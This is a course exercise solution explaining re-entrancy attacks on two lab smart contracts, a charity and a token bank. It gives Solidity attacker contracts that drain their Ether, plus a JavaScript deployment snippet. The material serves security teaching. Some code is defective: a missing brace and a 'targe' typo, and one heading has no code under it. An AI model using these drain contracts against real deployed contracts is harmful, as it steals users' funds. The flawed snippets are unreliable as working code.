Smart Contracts Exercise 05: Re-Entrancy – Solution

The solved exercise 5 can be found in this GitLab repository.

Task 1: Cat Charity Hijinks

- 1. The attacker sends a small donation to the CatCharity contract to record their donation.
- 2. The attacker immediately calls the claimRefund function, triggering the re-entrancy vulnerability.
- 3. While the claimRefund function is executing, the attacker's contract falls back into the claimRefund function multiple times, draining the CatCharity contract's Ether balance.
- 4. This attack continues until the charity's balance is completely drained, and the funds are transferred to the attacker.

```
contract CatAttacker {
   CatCharity public catCharity;
    constructor(address _catCharityAddress) {
        catCharity = CatCharity(_catCharityAddress);
    /**
     * Onotice Initiates the re-entrancy attack.
     * @dev We donate a small amount so that we (the Attacker contract)
           have a 'donation' recorded, then immediately claim the refund,
           re-entering until the charity's entire balance is drained.
     */
    function attack() external payable {
        // Step 1: Donate a tiny bit from this contract
        catCharity.donate{value: msg.value}();
        // Step 2: Start the refund loop
        catCharity.claimRefund();
        // Step 3: Send the money back to player
        (bool success, ) = msg.sender.call{value: address(this).balance}("");
        require(success, "Transfer failed");
   }
   // Fallback triggered whenever this contract receives Ether
   receive() external payable {
        // If there's still ETH left in the CatCharity, re-claim
        if (address(catCharity).balance > 0) {
            catCharity.claimRefund();
        }
   }
```

JavaScript code to start the attack:

Task 2: CTU Token Bank

In this task, the objective is to exploit a cross-function re-entrancy vulnerability in the CTUTokenBank contract. Here's how the exploit works:

- 1. The attacker deposits Ether into the CTUTokenBank, which increases their balance in the contract.
- 2. The attacker then calls the withdrawEther function, which is protected by a reentrancy lock. However, while the lock is active, the attacker exploits a function that allows them to buy CTU Tokens (buyTokens) using the previous balance.

- 3. The attacker repeats this process, buying more tokens and withdrawing Ether until they have drained the bank of its Ether balance.
- 4. Finally, the attacker withdraws all remaining funds and transfers the stolen Ether to themselves.

```
/**
 * @title CTUTokenBankAttacker
 * @notice Demonstrates a cross-function reentrancy exploit on CTUTokenBank.
           Even though 'withdrawEther' is guarded by a reentrancy lock, 'buyTokens'
           is wide open. The attacker calls 'withdrawEther', and during the
           fallback--while the lock is active--calls 'buyTokens' using the *old*
           balance that hasn't yet been subtracted.
 */
contract CTUTokenBankAttacker {
    ICTUTokenBank public ctuBank;
    ICTUToken public ctuToken;
    address public owner;
    bool private alreadyCalled;
    constructor(address _ctuBank, address _ctuToken) {
        ctuBank = ICTUTokenBank(_ctuBank);
        ctuToken = ICTUToken(_ctuToken);
        owner = msg.sender;
        alreadyCalled = false;
    }
    function attack() external payable {
        require(msg.sender == owner, "Not owner");
        // 1) Deposit Ether into the bank
        ctuBank.depositEther{value: msg.value}();
        // 2) Start a withdrawal, which will send Ether back to this contract
        ctuBank.withdrawEther();
        // 3) Sell the CTU Tokens to the bank
        ctuToken.approve(address(ctuBank), ctuToken.balanceOf(address(this)));
        ctuBank.sellTokens(ctuToken.balanceOf(address(this)));
        // 4) Withdraw the Ether again
        ctuBank.withdrawEther();
        // 5) Repeat the attack one more time
        alreadyCalled = false;
        ctuBank.depositEther{value: 5 ether}();
        ctuBank.withdrawEther();
        ctuToken.approve(address(ctuBank), 5 * 10 ** 18);
        ctuBank.sellTokens(ctuToken.balanceOf(address(this)));
        ctuBank.withdrawEther();
        // 6) Transfer the stolen funds to the player
        payable(owner).transfer(address(this).balance);
    }
    receive () external payable {
        if (!alreadyCalled) {
            alreadyCalled = true;
            ctuBank.buyTokens();
        }
    }
}
```

JavaScript code to start the attack:

```
// Deploy the attack contract
const attackerContractFactory =
   await ethers.getContractFactory("CTUTokenBankAttacker", player);
const attackerContract =
   await attackerContractFactory.deploy(bank.target, token.targe)
// Execute the attack with 5 Ethers
await attackerContract.attack({ value: 5n * 10n ** 18n });
```